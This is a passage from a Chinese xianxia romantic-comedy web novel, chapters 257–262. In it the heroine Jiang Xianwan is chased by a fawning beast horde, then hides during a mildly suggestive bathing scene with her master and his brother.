可……她好像该有事了! 她看了一眼十几道流光中最快的一道,再看已至身后的兽潮和乌压压遮云蔽日,振翅疾飞的异兽。 有些麻木的快速思考。 这个距离,应当足够撑到花美人赶来……吧? 短暂思索的一瞬,密密麻麻的兽潮已至,江献晚咬牙,踩着树杈,轻轻一跃,凌空而立。 她青衣并着发丝翻飞,指尖星轮旋转到极致。 剑意化形,万千银丝飘渺。 “拼了!” “那便试试我新发明的绝世一剑。” 第 257 章 没爱了 一道虚无缥缈,兼有幽冷雪气的吐字,恍若穿过峰峦叠嶂山河岁月,从虚空洞穿而来,沁入灵台深处。 当然,江献晚顺便吹了牛。 “小家伙们,今日就让你们见识见识,什么是最强的剑!” 此时,识海内一直陷入沉睡的剑灵,睫毛微微一颤,眉心金印一闪而逝。 星轮中的剑意被江献晚吹的牛,又给整兴奋了,瞬间像打了鸡血一样,就等她一声令下。 对! 没错! 它们是最强的剑! 就得给这些小家伙们好好炫一炫! 江献晚青衣墨发,立于虚空。 “我以世间剑,缥缈入云霄。” “第一剑。” “慈母手中剑!” 剑意虚影倾巢而出,裹挟着无数星屑,直冲云霄,高悬于那抹青衣之上。 虚影所及之处,风云涌动,天地为之色变。 同一时间,御剑飞向太虚宗巡视区域的六宗修士,发现脚下灵剑突然亢奋的抖动起来。 剑:有人在说最强的剑。 这意思……不就是在说它?! “我去!怎么回事!我怎么觉得我老婆忽然好兴奋!” “我也有这种感觉!它抖的快我要站不住了!” “啊啊啊啊啊!别抖了!你是想守寡吗!” “有什么心事你说啊老婆!你抖的我害怕!” 林轻染极力操控着灵剑,表情扭曲了一瞬。 她的灵剑亦是在抖。 雾渺愕然,他的大梦也像在回应什么似的,发出一声高昂而悠长的清吟。 六宗高层更是面露古怪之色。 因为。 他们的老婆……也在抖! 抖的还很快乐! 给他们一种……即将要去找野男人的快乐! 帝隐与云为泽望着虚空一抹青色身影,对视一眼,立刻翻腕取出各自灵剑。 三千念卷着一溜烟的黑色骨朵,呼啸而出。 ‘仰霜’生灵成霜,霜花纷纷坠悬于空。 花不休双指并剑,自眉心火流纹,扯出一抹猩红如熔浆般的流火。 一声清越到刺穿神魂的啼鸣,裹挟一种蛮横的力量,舒展出一双流火双翼。 一震之下,羽尾如华盖般铺开,将虚空硬生生灼开一片沸腾的颤栗。 这一刻,所有的剑随着那声‘慈母手中剑’,风骚自展最强最完美的剑意。 在它们的灵魂伴侣,痛心疾首、捶胸顿足,谴责它们竟给他们戴绿帽。 不管不顾,纷纷争先恐后释放出一道自认为最强悍的剑意,直奔那凌空而立,身后高悬无数剑意的青色身影。 帝隐和云为泽踏空而至,脚步不由得一顿,眼角眉梢蔓延开一层绚烂的涟漪。 江献晚踏空迎风,腮凝新荔,肌肤欺雪,周身灵力鼎沸,宛若俯瞰众生的神明,让人情不自禁想要仰望。 凝脂的指尖,星轮旋转至极限,头顶数不清的剑意凌空蓄势。 手腕轻转,无数虚影强横无匹的撕裂天幕,倾扎而下。 “游子身上……劈呃?” 花不休:“……” 帝隐:“……” 云为泽:“……” 那气势恢宏,令人热血沸腾的一句……戛然而止。 江献晚尾音一颤,脚下一个趔趄,指尖悬浮的星轮也跟着她一趔趄。 抹除万物般的恐怖剑意,在触即将碰到异兽的瞬间,更是刹那崩碎成数以万计的灵力光点。 望着眼前的一幕,三个男人,站定了,沉默了。 那多如浪潮叠涌的异兽,像是突然商量好一般,碰瓷似的,集体轰然倒地。 并…… 敞开了肚皮,在地上来回滚动,委屈地发出一片又一片“嘤嘤嘤”、“哼哼哼”、“叽叽叽”、“哞哞哞”……不堪入耳的撒娇声。 各种声音交织入耳,场面惨不忍睹。 风风火火赶来的苏清流三人,步子一顿,也沉默了。 真的,就很意外。 意外的给人一种很无力的心累感。 江献晚才是最大跌眼镜的那个。 忽然跑过来这么多剑意往她星轮中一个劲儿挤,就算了。 为什么这些并没有被她剑意削到的异兽,突然摆出一副受了重伤,倒地不起,甚至要她赔钱的嘤嘤模样? 碰瓷。 绝对是碰瓷。 江献晚沉默的看着那因陡然挤进来许多剑意,剧烈摇晃起来的星轮。 再看打着滚爬起,再次开开心心、铺天盖地朝她奔涌而来的兽潮。 嘴角一抽,就是一个跑。 “啊啊啊啊啊!救命!” 星轮:“……” 因新来的剑意,星轮里面打的那叫一个不可开交。 尤其其中刚进来的三道,更是一股子狠劲压倒其他剑意,与痕剑的剑意碰撞在一起。 四个,那叫一个独占后宫。 已至事发现场的六宗修士,远远望着江献晚那炫出来的绝世一剑,以为会看到一幕令众修膜拜,载入史册的画面。 然而。 在江献晚撒丫子跑的嗷嗷嗷,兽潮嗷嗷又嘤嘤,屁颠屁颠甩开腿儿,跟在她屁股后呲牙咧嘴的狂追。 惊艳的表情登时崩塌,齐刷刷陷入诡异地沉默。 也算……载入史册了……叭。 就像……她之前团屎一样的那种屎册,叫人难以忘怀、顶礼膜拜。 何尝不是开辟了一种新赛道呢? 江献晚哪里有功夫管史册还是屎册,她只知道,她不想死! 首先看到是两个如花似玉,仙气泠泠的帝尊。 双眸登时放光,热情似火地朝着笑眼望她的两人扑了过去。 发出一声极富高涨而洋溢的呼唤! “帝尊尊——!!!” 看着那难得对他们充满热情的人儿,两个帝尊表情古怪,视线默默一碰,随即各自……往两边迈开一步。 江献晚:“……” 瞬间擦着二位帝尊的衣角,从二位帝尊之间……冲了过去。 她虎躯一震,露出不可置信的凌乱表情。 这一刻。 她的沉默,震耳欲聋。 不是,这俩也太狗了吧! 这么快就没爱了吗?! 也特么消失的太快了吧! 接受到江献晚投来的震惊目光,两个如花似玉的帝尊,掩唇的掩唇,轻咳的轻咳。 看起来格外的忙。 而那些滚滚如潮的异兽,还在撒丫子跟在她屁股后面穷追不舍。 “啊啊啊啊啊!师尊!师尊尊!!!” 江献晚果断选择短暂性忘记早上的心虚,想到了花美人! 望着那身子颀长、肩宽腰窄,强大而充满安全感的男人,如极其渴望立刻、马上、就现在归巢的倦鸟,一个虎扑,猛地扑了过去。 花不休长身玉立,似有浮云流光隐隐流转于衣袖间,容貌滟绝,宛如神祗。 看的江献晚眸子又是炽热一亮,双臂迫不及待张开。 羞涩的声音,更是拐了十八个弯。 “师尊尊~~~” 她就知道,花美人还是很靠…… 嗯? 第 258 章 你家邪祟偷我老婆 江献晚眼皮重重一跳,唇角刷地垂下! 在她即将一蹦,敞开怀抱,跳到神祗身上的那刻……那神祇忽然朝她勾唇,露出一个迷死人不偿命的微笑。 而后……长腿往右一迈。 江献晚:“……!” 你们还是人吗? 我请问。 江献晚“啊——!”地一声悲痛惨叫。 擦着神祗的衣袖,笔直错身而过! 刹不住。 根本刹不住。 六宗高层和弟子望着狼烟滚滚,尘烟弥漫,狂兜圈子的一人和一连串看不到头的异兽,不约而同露出一种称得上“一言难尽”的表情。 剑尊和两位帝尊竟然见死不救? 俩帝尊还笑的睫毛簌簌? 剑尊从袖中摸出一把瓜子? 刚才不是跑的老快了,第一个到的。 合着不是爱。 是恨呐! 甭说,他仨对她恨的……可真深沉。 不过,三个领导没一个管江献晚,那他们……要不也再看看? 反正她两条腿儿挺能跑的。 “跑呗。” “她闲着也是闲着。” 六宗修士当即原地观望。 最开始还能认真而紧张的站着,最后累了,又见两位帝尊淡若云烟立在原地。 凤仪剑尊摆出一张茶桌,一套茶具,风轻云淡的看着江献晚领了滚滚兽潮,从他眼皮子下经过。 纷纷盘腿,席地而坐。 并以苏清流为首,嗑起了瓜子。 剑尊帝尊都不慌,他们慌什么。 天塌了,自有江献晚顶着。 望着那身形如一阵狂风从面前刮过去的身影,何未语和修言一群小伙伴,狂摆手臂,开开心心地同朝他们热情挥手的江献晚,挥了挥手。 “加油!江师妹——!!!” 时云霄双手拢成喇叭状,大声为她加油,“奔跑吧!我的师妹——!” 江献晚:“……” 加油? 她要的是加油? 奔你**的头! 我特么是在求救!求救!!! 一群眼睛被腚坐住的损友! 还有你们! 为什么高层已经搬出了桌子,摆出了灵石,搓起了麻将,还悠哉悠哉嗑起了瓜子?! 现在是打麻将嗑瓜子的时候吗? 禽兽吧! 江献晚带着绝望而麻木的心情,领着一望无际浩浩荡荡的兽,绕着众人足足跑了三十圈。 无一人出来搭把手,更充耳不闻她饱含深情的呼救,就连他们家明长老都抱着一堆赢来的灵石,喜上眉梢,拍腿狂笑。 再回眸,三头满心满眼都是她的异兽,朝她柔情蜜意地伸直了舌头。 江献晚狠狠抖了三下,调转方向,拔腿开始往虚古境出口跑。 异兽被遛的气喘吁吁,眼睁睁看着她一溜烟跑出虚古境,它们被结界挡了回来,脱力的撂倒一片又一片。 就连一个眼神都没分给那些嗑瓜子、搓麻将的两脚兽。 蓝色异鸟混在异兽堆里,忽然小声道:“你们知道吗?就刚才咱们追的那个女修?” “我认识她!” “她,江献晚!” “可厉害了!” 众兽一听,纷纷爬起,朝蓝异鸟围拢。 蓝异鸟吓了一跳,翅膀哆嗦着往后连连倒退,“你们,你们想干什么?” 离它最近的高阶异兽嗤笑一声,“老子又不吃你,你抖什么。” 蓝宝抖抖翅膀,努力使自己显得镇定,“你们为什么要追她?” 它察觉到异常,偷偷出来看了一下。 一看不得了,才发现江献晚被无数异兽追的嗷嗷跑。 同为异兽,它自然能感觉出它们的状态不像之前那样陷入癫狂,想要厮杀,而是像看到了什么救世主,所以才会追着江献晚跑。 一只高阶兽气喘吁吁的甩了甩尾巴,“我昨晚听一个小弟说她能吸死气。” “今天发现死气在跑,就赶紧来了。” 一只低阶异兽:“昨晚她跟一个女的吵完架,把我体内的死气吸走了很多,我当场就清醒了,浑身轻了很多。” “对!” “俺也是!” “俺也想被吸!” 众兽争相附和,昨天死气突然往一个方向跑的事儿,在它们兽兽中,一传十,十传百,传的整个虚古境的兽兽无一不知,无一不晓。 今天察觉到死气又在跑,立马就来了。 它们兽兽之间虽厮杀争斗不断,最多就是种族不和的问题。 但自家兽跟自家兽咬的死去活来,不死不休,算怎么一回事? 算它们倒霉? 蓝宝眼珠子一亮,脖儿一抻,骄傲无比,“那我就得说一句了!我压根没染死气!” 众兽:“吹牛逼!” “连水都被污染了,你怎么可能没被污染?” “就是!你肯定是被她吸干净了!” “我才没有!”蓝宝挺挺毛绒绒的胸脯,急忙道:“我敢用我的鸟格,和我全家所有鸟的鸟格保证,我没说谎!” “她给我留了很多好吃的丹药,我才没被死气同化的!” 听到这里,有兽按捺不住了,“你真的认识她?” “你们是朋友?” “那你能不能让她明天还来?” “我身体里还有死气,总是忍不住想发脾气!打我爹!” “还有那几条河能不能也吸吸?我想洗澡。” “能不能把花枝兽也吸干净,我怕吃了它们,对身体不好。” 花枝兽:“……”特喵的。 合着它们左右都好不了了是吧? 众兽不知不觉开始排排蹲,围着蓝宝拍起了马屁,早已将什么地盘之争,高低之分抛在脑后。 转移到虚古境外的六宗修士,看着灵幕投映出来的,正蹲草地上开大会的兽,看的一脸懵逼。 “那不是蓝宝吗?它拿俩翅膀搁那比划什么呢?” “那些高阶异兽怎么看起来很听它的?” “不是,它们怎么好像在团建?” “我竟然从蓝宝身上看到了江献晚的影子,这么快就得到江献晚的真传了吗?” “我真的很想知道它们今天为什么只追江师妹!” “江师妹看起来自己都好像不知道。” “还有它们为什么会对着江师妹忽然卖萌啊!” 有弟子分析,“难不成是因为那一招慈母手中剑,游子身上劈,给劈坏脑子了?” “说起这个,我老婆为什么送给她一道剑意啊!” “对啊!为什么!我老婆也送了!” “汪!我老婆也!” 六宗高层心酸地纷纷去摸自己的老婆。 他们的老婆,也送了一道剑意! 江献晚不在,五宗修士只能退而其次,整齐划一,幽怨地去盯太虚宗的人。 并表达出一种格外强烈的情绪。 你家邪祟偷我老婆!!! 明长老这个不服。 一蹦三尺,两手叉腰,呸了一圈,“那特么是偷吗?自个管不住自个的老婆!” “废物!” 时云霄:“呵!上赶着的废物!” “不从自己身上找原因,自个对老婆不好,还怪老婆跑,渣男!” “对!不疼老婆的渣男!” “去死吧!” “别活了!” 瞅瞅,现在根本不用苏清流他仨出手。 其他五宗:“……”说的跟你俩老婆没送似的! 林轻染坐在几个万古宗弟子一旁,扯的手中帕子刺啦撕裂。 为什么!为什么!为什么! 江献晚也偷了她老婆! 第 259 章 你好了 望着远处排排坐在灵境前,一言不合,对喷起来的六宗修士,再看灵境画面上聊的如火如荼的异兽,两位帝尊默默收回视线。 帝隐端坐于案前,雪袖如云絮堆叠,柔柔地垂落膝头,松挽在肘间的银发随动作,似欲流淌,却又未曾流淌。 推对面一杯新茶。 沉吟片刻,轻声道:“你好了?” 云为泽:“……”这话问的…… 偏北帝尊一本正经,再认真不过的表情。 云为泽指节微蜷,捏起那杯冒着热气的新茶,眼帘不自在的一低。 根根分明如鸦羽般的乌黑睫毛,被暖湿的茶烟熏出一层薄薄的水光,凝成饱满剔透的一点,将坠不坠。 下意识眨了一下,含糊轻嗯一声。 帝隐轻轻颔首,指尖沿着白玉杯沿,轻轻一搭,清浅如画的眸子不动声色掠过他高叠的衣缘,还有隐在墨发间,耳垂后一点未能遮住的痕迹。 落了一双乌睫,没再说话,一心一意盯着青碧的茶水,叫人瞧不出半分不对。 云为泽攥着茶杯的指骨紧了又紧,忽而抬眸看他,“你不怨我?” 他与帝隐私交甚好,明知他与晚晚之间的关系,他却…… 帝隐就一点不觉得他很不是人么? “开始觉得,是有一点。” 北帝尊像是知道他在想什么,回答的格外认真。 他也醋过云为泽只要看江献晚时,便不自觉流露出来的笑意。 还想将江献晚藏起来,不给任何人看。 可他不舍,不舍将耀眼的明珠困在小小的巫云殿。 他看到江献晚显露他不曾见过的另一面,便心知她并不独属于他一人。 心绪亦不知不觉,发生天翻地覆的转变。 从江献晚是他的,到他是江献晚的,一念之差。 不过。 帝隐咬下唇,再松开,双眸一眨不眨的看着他,似乎有些难以启齿,“昨晚,晚晚与,与你?” 云为泽:“……” 这边,两个帝尊大眼瞪小眼,再次陷入一阵天荒地老的沉默。 另一边,江献晚累的跟个狗似的,灰头土脸,软着两条腿,摸向驻扎地附近偶然发现的一处水潭。 她缓步行走在一片昏暗的松林,一边踢着脚下的松果,一边骂骂咧咧。 “口口声声说爱我,喜欢我,把一切都给我,到头来却不管我的死活。” “呵,男人。” 太过分了! 太不是人了! 上一刻还跟她亲亲我我,恨不能长出八条胳膊腿儿缠死她,下一秒呢? 就婉拒了? 不带考虑一下的么? 江献晚瘪瘪嘴,拿袖子抹了一把脸上的灰泥,倒没真的生气。 她自然知道花美人他们,看出了那些异兽不会伤她,才会袖手旁观的。 刚开始,光顾着逃命,没发现什么不对。 等她斩出一剑,察觉到那些异兽似乎都在用一种崇拜而委屈的小眼神看她,觉得很不正常,及时收了剑意。 她再厉害,虚古境那么多兽,更不乏高阶异兽,不至于被她一剑吓退。 还是说,她挥出的那惊天一剑,已经到了和花美人并肩的地步? 抬手间,翻手为云覆手为雨,河流止,飞瀑倒倾,天地为之色变? 江献晚尴尬轻咳一声,立刻叉掉了这个自我感觉良好,想要骄傲自满的想法,及时将思路拉回。 那些异兽之前见她,明明还对着她呲牙咧嘴,一副不死不休的模样。 今日倒像是商量好一般,目标明确,突然一起找上她,只跟在屁股后面追着,没一个亮出爪子。 江献晚眸光微动。 难道她身上有什么东西,被这些异兽发现,共同想要的? 芥子囊有阵法禁制,无论里面装的什么,都不可能泄露半分气息。 从头到尾,她拿在身上的东西,不过几个核桃,二师兄给她的阵盘,还有星轮,和…… 墓碑? 江献晚眉尖微挑,立刻从芥子囊里的大床上,找到了那块躺尸的墓碑。 但当她随眼一扫,扫到旁边那把剑身似乎裂开一道蛛网痕迹的灵剑,表情微微一变,忙将‘等等’一并取了出来。 墓碑:“……”完了完了完了。 它还没把那把破剑补好,就被虎娘们发现了! 她要是知道这破剑是它拍碎的,还不捏碎了它! 墓碑大气都不敢喘。 江献晚蹙着眉,双指轻轻拂过‘等等’剑身上那丝几不可察的细微裂痕,在手中翻来覆去看了半晌。 看着她面无表情,便显得十分漠然的模样,墓碑在她另一只手中,心噗通噗通一阵狂跳,还有种回到以前的错觉。 这娘们,可不是好人。 就在它觉得江献晚是不是已经猜到,要把它碎成八瓣。 发现它家虎娘们神色如常,收起了那把只差一点就能修补好的破剑,顺手掏出了几个野核桃。 墓碑:“……” 没,没发…… 哐!哐!哐——! 接连三声巨响。 被重重拍在核桃上的墓碑,暗自窃喜的心情,霎时一止。 差点汪地一下,哭出声。 这遭瘟的死娘们,一天到晚竟干点狗都不干的事儿。 它这么威风凛凛,轻飘飘一下,便能拍碎一座山的墓碑,她竟然拿它拍核桃? 墓碑敢怒不敢言,又碍于与天道约定在先,只一味的装死不语,黯然神伤。 不过,这种感觉,说真的,还挺……怀念的。 江献晚已经很久很久没这么粗鲁的对待过它了,它也很久很久没跟江献晚一块浪了。 江献晚看都没看一眼,粘在石块上抠都抠不起来的核桃,举步朝着水潭走了过去。 这处水潭静卧于群山腹地,宛若一泓碧玉悄然深嵌在浓浓的绿意之中。 近岸的潭水清澈透明,深处也不过没顶,植被环潭而生,陡峭岩壁,山风到此都屏息,能很好的遮挡视线。 江献晚环视周围,褪去鞋袜,在边缘水稍浅的地方,寻了片依潭的岩石。 衣料遇水浮沉,行动极为不便,见四下无人,极为安静,想来不会有人大晚上的,来这种鸟不拉屎的地方。 干脆脱了外裳和中衣,只余一身通透如雾的小衣和灵裈,散了发。 宛如一条鱼,双臂轻轻一划,一头扎进了水中。 第 260 章 三折叠 花不休:“……” 他脊背随意轻抵着岩壁,睫毛懒懒的垂着,指骨间松松握了一壶梨花春。 玉色的面颊蔓开一层薄晕,似素净宣纸下隐约透出的胭脂底色,眼尾是被酒气熏染出的薄红,浑身透着疏懒。 屈身歪坐在水底下的石面上,上半身几乎一览无余。 忽然间,一阵细微的簌簌声,撞进了耳朵里,他睫毛倦倦一抬,不经意的看去……面庞的神色便倏尔凝定了。 透过眼底被熏出来的雾气,直勾勾穿过深浓的夜色,望着月下那不知何时来到潭边的不速之客。 眼睁睁看着她褪了鞋袜,足尖轻点了水面,一步步行至潭中。 在他不远处的岩壁下褪了青裳,散了发,露出…… 花不休一双睫毛剧烈地颤了几下,昏沉的神智陡然醒了三分。 随着那一件件衣裳被两只莹白的手轻轻剥落,宛如慢条斯理剥去荔枝外壳,露出清甜而汁水丰沛的果肉。 指骨一再收紧,几乎要将那壶梨花春捏作一片齑粉。 那人却犹不自知,脱的爽快。 在她指尖轻触到小衣,花不休又是快速翕和几下睫帘。 他一动未动,眸中神色掩在重影之中,瞧不清晰。 来人站在一片浅水处,青丝垂在赤裸的肩头,颈子也是纤细而雪白。 上身仅着质地丝滑柔软的小衣,衣料太过轻薄透光,轮廓浑圆饱满,便显得小衣愈发短窄,似穿非穿。 仿佛是将不能蔽体的朦胧月华披在了身上,含蓄的透出一片渗出脂光的皮肉。 无论是纤长柔腻的颈子,盛着鸠酒般的精致锁骨,还是一双赛雪纤匀的藕臂,花苞似的指尖,更是宛如一笔勾勒,酣畅而出。 兴许是脚下踩到了巨石块,蔓至小腹的潭水,顷刻于软腻的肌肤垂坠而下,浮起一截欺雪的赤裸细腰。 洇着晶莹的水珠,在银辉轻覆下,使那令人屏息的滟色,淌了淋漓尽致。 花不休眸光稍暗,仿佛透过夜幕打量摄人心魄的水妖精魅,喉结缓慢上下一滚。 几滴残留的水珠顺着他的眉眼,从下颌坠落,一路顺着肌肉贲张的劲悍腰腹,浸润过人鱼线没入潭中。 他微微歪着头,手肘抵在膝头,指尖支颐着下颌,目光久久定格在那雪白的颈子和饱满之上的一片肌肤。 还残留着来不及消散的零星暧昧印子。 饮了一口灼喉的梨花春。 半垂的眼帘,遮蔽眼角的落寞。 此刻,他已分明来人。 与云为泽胡闹,被他捉到的,孽徒。 他的孽徒。 花不休又灌了一口酒,不知是酒太烈,又或者饮了太多的缘故,神智又是一阵昏沉。 眼前的美人面,更是模模糊糊晃动着,隔雾看花般,只余一片雪腻的脂光,远远近近的浮动。 那没心没肺,宛如雪鲤戏水的,是……他的孽徒吧? 是与不是,花不休想挪开视线。 模糊的眸光,却不由己控,顺着那娇嫩玉润的身段,一低。 明知,不合礼数。 亦,不为君子之风。 一颗颗不堪重负的水珠,顺着垂至臀尖的湿发,沁入轻薄的衣料,便尽数闯进他眼中。 由内而外,浇透一般。 江献晚未曾发现潭中还有别人,洗的格外认真。 在贴离水面的那块巨石,微屈着一双腿儿。 指尖捏了块香片,掌心搓揉着化开,细细涂抹乌发,口中还哼着欢乐的小曲儿。 “噜啦啦噜啦啦噜啦噜啦咧。” “我爱洗澡皮肤好好,幺幺幺幺……” “带上浴帽唱唱跳跳,幺幺幺幺……” 花不休:“……” 左手北帝尊,右手南帝尊,一夜吃了两个,可不就是快乐的唱小曲么? 花不休眸光渐暗,喉结攒动,将余下的酒尽数灌入口中,余光始终缠在不远处的水面。 那孽徒抹了乌发,手里还有许多绵密的泡沫,本着不浪费,从肩颈涂到藕臂,从藕臂涂到腰身,再卷起一双透明的衣裤,去涂一双修直的长腿儿。 最后…… 两只手摸进了……小衣之中。 花不休带着几分茫然,游移开一些视线,举目朝周围努力看去。 他也许,是在做梦。 亦或者,被这山林中的精魅拖进了幻境之中。 天上,依旧是皎月高悬。 水中,孽徒,依旧涂的很认真。 花不休缓缓垂了一双墨黑的睫毛。 竟不知自己该是隔岸观火,等孽徒洗好离开,还是发出点动静,提醒孽徒洗的不要过于放肆。 兀自举棋不定,耳畔又是一阵细微的缓步行走声。 江献晚:“……?” 有人? 她听到脚步声,想也不想,哧溜一下,从石块滑到潭水下,将脑袋瓜也闷了进去,飞快潜至深水处。 生怕来的是什么男弟子,又或者是长老之类的。 方才注意到不远处更为隐蔽的岩壁,立刻双臂一划,没有掀起半点水花,游了过去。 花不休:“……” 水下是朝她快速游来的孽徒,岸边是堪堪止步的云为泽。 他猛地捏住了额角,觉得此刻,头很是痛。 很有必要怀疑,他此刻真的是在做梦。 云为泽知晓他近日常来这潭水中沐浴,瞧不见人,心下却了然他定然在此。 静站片刻,不疾不徐解了腰封。 花不休:“……”这运气。 下次沐浴,定要先看一看黄历。 薄唇轻启,只能先了开口。 他低沉的声线有些模糊,是被烈酒熏过的暗哑,“寻我何事?” 云为泽将衣裳搁在岸边石块上,默了默,轻声道:“找你喝酒。” 刚扒到石头块,还没冒出头,被一只从天而降的手掌,突然摁了脑瓜的江献晚:“……?!!!” 不儿! 江献晚懵逼中,静静懵逼。 花不休一手是新拿出的一壶梨花春,一手稳如磐石压着孽徒僵硬的脑瓜。 睫帘一低,神色晦暗不明的盯着直冒泡的水面。 饮了口酒,淡淡婉拒。 “不喝。” 云为泽:“……”不用想也知道,他哥凤仪在同他生早上的气。 云为泽充耳不闻,身着亵裤,拎了两壶酒,下了水。 犹豫一下。 还是没忍住道:“你不是喝着呢?” 就是不想跟他喝而已。 江献晚:唔唔唔! 花美人什么时候在这里的! 还有,云为泽怎么也来了? 待会儿他们三个要是撞在一起,又该是什么大型社死现场? 江献晚不敢想象,也根本想象不出。 三折叠,怎么折,都绝望。 她被花不休摁着脑瓜子,极度紧张之下,唇瓣一张,咕咚咕咚痛饮了好几口潭水。 第 261 章 喝一样的 花不休:“……” 腰腹一绷,一双滑溜溜的小臂,抱上了他的腿儿。 拿脑袋瓜,挣扎着直往上顶他的手。 饱满而绵腻的触感,若即若离贴来,花不休呼吸微滞,摁在孽徒脑瓜上的指骨隐忍的动了一下。 长臂一捞,将快要喝饱的孽徒,揽腰从水下带了出来。 云为泽:“……” 有什么东西破水而出的声音跌入耳中,他脚步稍稍一顿。 目光投向一层层晕到跟前的涟漪,继而缓缓抬眸,表情有些古怪的看向花不休所在的位置。 从他这里看去,那处岩壁将男人的身形遮了大半,露出一小片结实的肩背。 再往里些…… 云为泽放慢步子,再次抬腿。 江献晚喉咙呛的刺痛,视线还模糊着,听到渐渐逼近的水声,忙死死捂紧唇瓣,耸动着肩颈,憋着不敢咳出声。 两条小臂伏在花不休腿上,身子不停的轻颤。 小脸痛苦的皱成一团,抖的花不休跟着她一块抖。 花不休松开她的腰身,指腹一抹她面颊的水珠,下意识落在孽徒后背,轻轻抚了几下。 只是。 当他触到一片薄软的小衣,掌心下是透过来的温热滑腻,动作倏尔一凝。 他知道孽徒有多好抱,香香软软,拥在怀里腻的要化开,与那张伶牙俐齿、气死人不偿命的嘴,简直是两个极端。 现下又是一副媚惑勾人,一览无余,不被外人所知的模样。 眉眼一低,暗色涌动的眸,定格在自己赤裸腰腹下,伏在他雪白衣裤上,轻颤的孽徒。 这点时间,云为泽距离他们已不过十步之遥。 他步子似乎放的很慢,江献晚听的一颗心直跳到嗓子眼,憋的脸都绿了。 慌忙去揪了不知道在想什么,只一味盯她的花不休的衣裳。 想让他阻止云为泽过来。 一揪,才发现……花不休上半身根本……没穿衣裳! 江献晚:“……” 她直勾勾的盯着手指下,排列整齐、硬邦邦的肌肉,唇角一抽,沉默了一下。 再顺着他的视线,低头。 才想起来……她自个也是穿了跟没穿一样。 江献晚在那双幽沉的眼睛中,默默沉下去一些,只露出一颗脑袋。 真的。 如果她有罪,就让小紫过来,拿八十八道天雷劈死她。 而不是选择这样一种‘社死’的死法,来了结她的性命。 她跟花美人近乎坦诚相见也就罢了。 云为泽一来,搞得像是他俩在此偷偷摸摸幽会,洗鸳鸯浴一般! 待会儿三人一照面,想想……都要笑了。 不过,花美人的身材,可真是好的让人流口水。 瞅瞅这八块整整齐齐的腹肌,性感撩人的人鱼线。 想到什么,她眸光不自觉往下去了一些。 话说,花美人到底是怎么个深海巨鲸,撼天摇……嗯? 探索的念头被一只湿漉漉的手掌冷漠打断,江献晚一抬头,对上似笑非笑,垂眼绞着她的花美人。 心里顿时虚了一下,将自个脑袋从他手里摘出来,撇开了眸子。 小气。 看一下怎么了。 他还能少块肉? 他刚才不是也看她了? 江献晚到底不敢过分以下犯上。 这会儿更不敢嘴贱。 思绪拉回正轨,听着云为泽距离他们越来越近,绝望的闭了一下眼。 这个岩壁的形状,使得她连从水下游走的可能都没有。 就等着被当扬给捉了。 再睁开,看花不休的目光……难免多了一丝同情。 师尊,您老人家的清白,好像要没了。 花不休:“……” 以下犯上、没心没肺的孽徒。 他清白不早就没了? 两师徒目光无声交汇,花不休眸色浅淡,江献晚既同情自个,又同情花美人,发现……花美人突然歪了脑瓜。 唇角扯出一个耐人寻味,似乎是坐看好戏,幸灾乐祸的弧度? 不是。 这都能笑的出来? 捉人的可是他弟! 她不信今个早上,他不知她与他弟,如此,这般,这样,那样。 江献晚人有点麻了,向他投以谴责的注目礼:师尊尊,您的清白了,是不打算要了吗? 花不休歪着头,懒倦的支颐着下颌,唇角一侧弧度愈发明显。 无声回她: 比起这个。 孽徒,你的命,好像要没了。 与云为泽不知天地为何物,厮混至天亮。 瞅云为泽腰腹上的印子。 现下,两人这是又搁这拿他当情趣使呢? 他看起来像是什么很大度的人吗? 江献晚:“……” 自然不是。 他要是大度,还能说出这种话? 但是,她怎么就没命了? 反过头,话非要这么说的话…… 江献晚双手环抱,姿态陡然放松。 一抬下巴。 两只眼写着: 那就看看,是师尊的清白先没,还是徒儿的命先没。 云为泽又不是不知她七个男人的事儿。 想来,不会介意。 花不休:“……”孽徒。 男人多了,就是理直气壮。 他余光瞥向投落在湖面,随着波纹晃动的身影。 他那与他的孽徒厮混的好弟弟,已然行至跟前。 只需再走两步,稍稍绕开一点凸出来的岩壁,便能将他与孽徒瞧得一清二楚。 花不休八风不动,眼睛都没眨一下,江献晚更是不动。 两师徒犟劲上来,望着彼此,像是都听不到耳边的水声,谁也不服谁。 并同样迫不及待,想看一看对方被云为泽当扬给捉了的可怜样。 花不休眯眸睨向微抬脑瓜,一幅胸有成足,露出傲然之色的孽徒,指尖轻轻一屈,神色莫名。 在云为泽又走近一步,来到跟前,抬手将唇角勾着坏坏笑容的孽徒的脑瓜,摁在了腹部。 他倒要看看,待会儿是谁先心虚。 孽徒夹在他们兄弟二人之间,还能不能一脸骄傲的抬着她那脑袋瓜。 江献晚:“……!” 浑身一僵。 天雷滚滚中,一片阴影打落,云为泽身子一侧,靠在了花不休所处的岩壁上。 低沉而磁性的声线,随之响起。 云为泽瞅了一眼,手肘抵着一条屈着的长腿,兀自饮了一口酒的花不休。 从容一笑。 “哥不如跟我喝一样的?” 手一伸,递过去一壶酒。 第 262 章 他是谁的 江献晚:“……” 云为泽没看见她? 她悄悄偏了脸,这才发现,因为花不休臂膀旁那块岩石,微微凸出一些,恰好挡了云为泽一点视线。 花不休长裤虽透,屈着腿的姿势,又遮了她的脸。 饶是如此,江献晚还是捏了一把冷汗。 云为泽若稍稍往上探一些头,或是再凑近一些,认真看一看。 大约就能看到花不休肚子上……她的脸。 甭说,这种新奇的体验,还真是……刺激。 有种跟情人吃饭,而她,被情人旁边他兄弟,在桌下握了一条小腿儿厮磨的疼痛感。 江献晚还是怂了,这会儿是上浮无门,下沉无路,动都不敢动,只能把脸贴在花不休腹部,竭力放轻呼吸。 同时暗暗谴责花美人,他、不、是、人! 又见花不休只看着云为泽递来的酒,不接,更急了。 在他腰腹上,眼皮眨的快要抽搐。 接啊! 您倒是快接啊!!! 一会儿他伸头,往这里瞅怎么办! 花不休:“……” 他看着那壶酒,视线在空气中与云为泽撞在一起。 云为泽悠然的靠着岩壁,湿漉漉的墨发覆在身后。 墨玉般的眸闪了闪,一丝玩味的笑意浮现在唇角。 语气却有些疑惑。 “哥。” “你,不接吗?” 再不接,就有人急了。 花不休神色平淡,不意外云为泽发现,搭在膝头的手肘纹丝不动,指尖自然而然的垂落。 并不打算接。 直到……孽徒急了。 握上他的胳膊,推着他,强迫他去接。 云为泽:“……” 花不休:“……” 两兄弟望着那壶酒,一个唇角忍着笑,一个顺着孽徒的力度,懒懒的抬起胳膊,将酒接了过来。 江献晚瞬间松了一口气。 听着云为泽拉家常般,话音一转,说今天的月亮好圆,很适合团圆,花美人抿酒不语,只望着天。 